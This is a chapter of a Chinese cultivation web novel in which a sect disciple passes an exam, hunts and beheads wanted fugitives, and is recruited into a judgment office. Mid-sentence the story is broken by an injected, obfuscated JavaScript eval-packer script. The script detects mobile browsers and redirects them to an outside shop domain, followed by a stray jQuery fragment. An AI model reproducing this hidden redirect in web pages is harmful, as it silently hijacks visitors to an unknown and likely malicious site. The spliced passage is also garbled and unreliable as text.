明庚轻轻抬手,两人便瞬间出现在明庚的院落中。
千黎想起小明庚那句“我就算收徒,也不会收像你这样的”,一时心中又有些来气,便道:“我是师尊亲手教的,我是三脚猫,那师尊也是三脚猫。”
明庚点点头,道:“有些道理。那你翘课,又是谁教的?”
千黎一僵:“这个嘛……”
“苏锦云?”
千黎猛地抬头:“我可没说!”
“都不用猜就知道是她。”明庚笑了笑,“她当年带着姜霁白翘了一年的课。”
一年?!
这时,院门被推开。
一只大青蟹横着爬了进来,到了千黎面前,便举起钳子对她指指点点。
千黎从储物戒中拿出两株一阶灵草扔给它:“霸道,出去玩去。”
霸道一只钳子夹住灵草,另一只钳子仍旧冲她指指点点。
千黎汗颜:“等我有空了再去给你挖池塘。我现在正忙呢。”
明庚看着这只名叫霸道的大青蟹,嘴角轻轻上扬,问:“苏锦云带你去买的?”
千黎点头:“师姐带我去百兽场玩了。”
“顺便翘课了?”
千黎顿时闭嘴。
她又问:“师尊,我为什么一定要上医修课?我感觉我实在不是那块料子。”
明庚反问:“你自己是炼器师,你说说,有哪块材料被定死了,只能炼一种东西?”
千黎扁了扁嘴:“但我不是材料,我是人。我不喜欢上医修课。”
明庚却像没听到,只道:“还有半个月就是小考。若是这回的基础医修课不及格,下次开课,你就要同时修基础医修课和炼丹课。”
千黎:“啊???”
这个医修课怎么这么阴魂不散?
而且,怎么还有炼丹课?
千黎问:“师尊,你是打算让我把世间诸法都学一遍吗?”
明庚道:“你医修小考能及格再说吧。”
千黎翘掉的医修课,其实也只有两三节。
可基础医修课一共才十节。算下来,她已经翘了将近三分之一。
好在毕竟只是基础课,难不到哪里去。千黎在宗内藏书阁泡了两日,总算把落下的内容补了回来。
之后的日子,千黎照例泡在剑阵令中,只有上阵法课和医术课才出门。
现实里,千黎已经能够轻松胜过大多数同境剑修;可进了剑阵令,面对玄阶剑中只有筑基的小明庚,她仍旧只有挨打的份。
好在挨打挨多了,她也渐渐摸出了些门道。从一开始几乎毫无还手之力,到后来能撑得越来越久,现在,她甚至开始可以在对打中占据上风。
这日一连击败三把玄阶剑后,千黎觉得浑身疲惫,于是决定给自己放半日假。
她先把院外池塘剩下的最后一点挖完,又引来山泉水,将霸道放进去泡着。
霸道显然对这个简陋的小池子不太满意,挥着钳子冲千黎指指点点。
千黎再三保证以后一定给它换个大的,霸道才停止对千黎挥舞钳子。
忙完这些,千黎回到屋里,又翻出了医修课的复习笔记。
基础医修要学的东西大多靠记,不太费脑子。如今看这些内容,反倒成了她休息时最轻松的消遣。
又过一月,宗内小考如期而至。
千黎的医修课勉强过关——她笔试部分拿了满分;而实操部分,她这次没把考试用的青蛙杀死。
不需要重修,千黎松了一口气。
小考后,便是一个月的小假,也是千黎原定打算出去做宗门任务的时间。
千黎拿出灵玉,联系上怜心,约好时间一齐去选任务。
……
无云的蓝天之下,是一片广袤的沼泽地。
浅水和草甸交错铺开,白色灵鹤在其间漫步。风吹过时,大片芦苇低伏,像一层层青浪。
这时,一名灰衣修士从树林间疾冲而出,惊起一片白鹤。
不少白鹤振翅飞开,叫声此起彼伏。
不多时,又一道黑色身影从林间追出。
少女身法极快,她足尖在水面轻点,身形便再次疾掠而去。不过须臾,已经逼至那灰衣修士身后。
灰衣修士手中的最后一张加速符箓,正好在此时燃尽。
一路逃到这里,他早已气息紊乱,灵力也所剩无几。
法器、符咒,能用的都已经用过,可无论什么办法,他都无法彻底甩开身后这个人。
偶尔好不容易暂时甩开这个黑发黑衣、穷追不舍的疯子,他转头又会撞上另一个骑着鹿的女修,雷光劈得他满地乱爬。
真是晦气。
抓他的任务,怎么偏偏就落到了这两个人手里?
若还是先前那个傻子,他早就跑了。
怪不得都说,六月行凶九月逃,躲到来年三月死。
……三月和九月,正是青云宗弟子的小假。每到这两个月,出来接宗门任务的人便骤然多起来,各地破案率也跟着直线上升。
难道他连这个九月都熬不过去?
眼见身后剑尖在日光下一闪,他狠狠一咬牙,祭出本命法宝。
该死的青云宗弟子。
一个个生来富贵、前途无量,哪里懂他这种底层修士活下去有多难?
他所做的一切,不过都是为了活着。
既然不让他活——
那就一起死!
本命法宝骤然亮起。
下一瞬,长剑利落横扫而过,人头滚落在地。
将要自爆的本命法宝啪地跌入泥中,因主人身死而裂开。
无头的身躯软绵绵栽进浅水里,溅起的一片泥水被千黎的护体灵气挡下。
旁边几只白鹤高昂地叫了几声,又拍了拍翅膀,像是在抗议千黎搅了它们的清静。
千黎俯身将尸身收进灵兽袋。
转身往前走了一段,便见怜心骑着雷瞳灵鹿,从林间踱步而出。
她手中捧着一只毛茸茸的、翅膀受伤的小鸟,泪眼汪汪。
千黎道:“这个也杀了。”
怜心原本正怜惜地看着手中的小鸟,听到千黎的声音,她抬起头,脸上的柔和在一瞬间褪去,变成温柔却略显疏离的样子。
刚刚她眼眶中的泪,好像只是千黎看错了。
“那我们回去吧。”
千黎点点头,又腹诽。
虽说人有善心,但是这个人……
出来做任务几日,她已经救了不知多少只灵兽。若是灵兽伤得重了些,怜心还会一直掉眼泪。
真是有些奇怪。
走进镇上交任务的巡镇所,里面只有两名修士,正坐在案后整理卷宗。
其中一人抬头看了她们一眼,问:“哪个任务?”
“拐杀三十多个小孩的那个。”千黎直接把灵兽袋扔到案上,“在里头。”
那人一愣:“这是灵兽袋?”
千黎道:“尸体可以装进灵兽袋里。”这还是姜霁白得知千黎要来鹤林泊,特意教她的呢。
那人半信半疑地打开袋口,下一瞬却被吓得手一抖。
一颗人头骨碌碌从袋中滚了出来,被千黎伸手按住。
千黎看那人捂着嘴后退了两步,便直接把人头塞回灵兽袋。
案后的另一名修士接过灵兽袋,道:“她刚来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893115|208889||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
实习,还不习惯。”
千黎拿出帕子擦了擦手,道:“无妨。”
怜心刚刚也被那颗突然出现的人头吓了一跳。
此刻站在旁边,看着千黎面不改色地把人头塞回去,她心中有些微妙。
她带了一百多条捆仙绳子,谁知道最后,只用掉了两条。
千黎接任务时,专挑那些“罪大恶极,捉拿途中若有反抗,可就地斩杀”的逃犯。怜心起初还以为,她只是想惩恶扬善。
结果到了这边追捕逃犯时,只要能杀,千黎全都干脆利落杀了。
怜心实在想不明白,怎么会有人杀人像砍瓜切菜一样,没有任何其他反应?
无论如何,那也是一条人命吧。
这人也太怪了……
从巡镇所出来后,千黎低头数了数手中的令牌。
这些令牌,是各处巡镇所验过任务后发下来的,正好十一枚。
“任务都做完了。 ”
怜心点点头,问:“和姜师姐约的是今日吧?”
千黎抬头看了看日头:“是的。可以往鹤林城去了。”
姜霁白如今任职于裁决司,这两年一直在鹤林城当值,几乎不回青云宗。两人便与她约在了鹤林城中最大的酒楼见面。
时隔几年再见,姜霁白依旧一袭红衣,身负长剑,风风火火地走进包厢。
怜心起身作揖道:“姜师姐。”
姜霁白坐下便给自己倒了杯茶,一饮而尽。
她转头看见千黎嘴里还塞着糕点,正努力往下咽,像是想说话,便摆了摆手,说:“你慢慢吃吧,不讲虚礼。”
说罢,她又从储物戒中取出两封封好的信,先递给怜心一封。
“你们这次任务完成得不错,荐书已经批下来了。”
“这一年里把试任任务做完,之后便可以进裁决司试职。”
怜心忙道:“多谢姜师姐。”
千黎终于把糕点咽了下去,就见姜霁白将另一封信放到自己面前。
千黎一愣:“我也要去试职吗?这也是我们师门的规矩?”
姜霁白忍不住笑了一声。
“师尊说,与其让你在外面打架,不如给你找点正经事做。”
千黎疑惑道:“我什么时候在外面打架了……”
声音却越说越小。
她想起来自己什么时候在外面打过架了。
可她当时又没有自报家门。师尊到底是怎么知道的?
姜霁白见千黎脸色变来变去,又笑了一声。
她转头对怜心道:“若是没有别的事,我便先走了。近来司里实在忙得很。”
怜心好奇问:“不是说三月和九月,是裁决司最轻松的时段吗?”
毕竟这两个月青云宗弟子放小假,出来接任务的人最多。
姜霁白摇头道:“恶人作恶,也不挑日子。”
说完,她又看向千黎。
“你跟我走。刚好我手下带的人今日不在,你先顶上。”
于是,千黎与怜心告别后,跟着姜霁白离开了酒楼。
合上手中的案宗,千黎对接下来要做的事已经有了大致了解。
她抬起头,看向四周。
鹤林城外,天高地阔,长风掠过带起草浪。
远处青山叠翠,溪流从草野间蜿蜒穿过,水面映着天光。
这里实在是很美。
鹤林泊本身就算偏远之地,又地广人稀,各个城镇之间相隔甚远,所以不少逃犯都喜欢往这里躲。
可千黎这几日接触过的本地住民,大多淳朴和善。
真是难以想象,案宗上的事,会发生在这样的地方。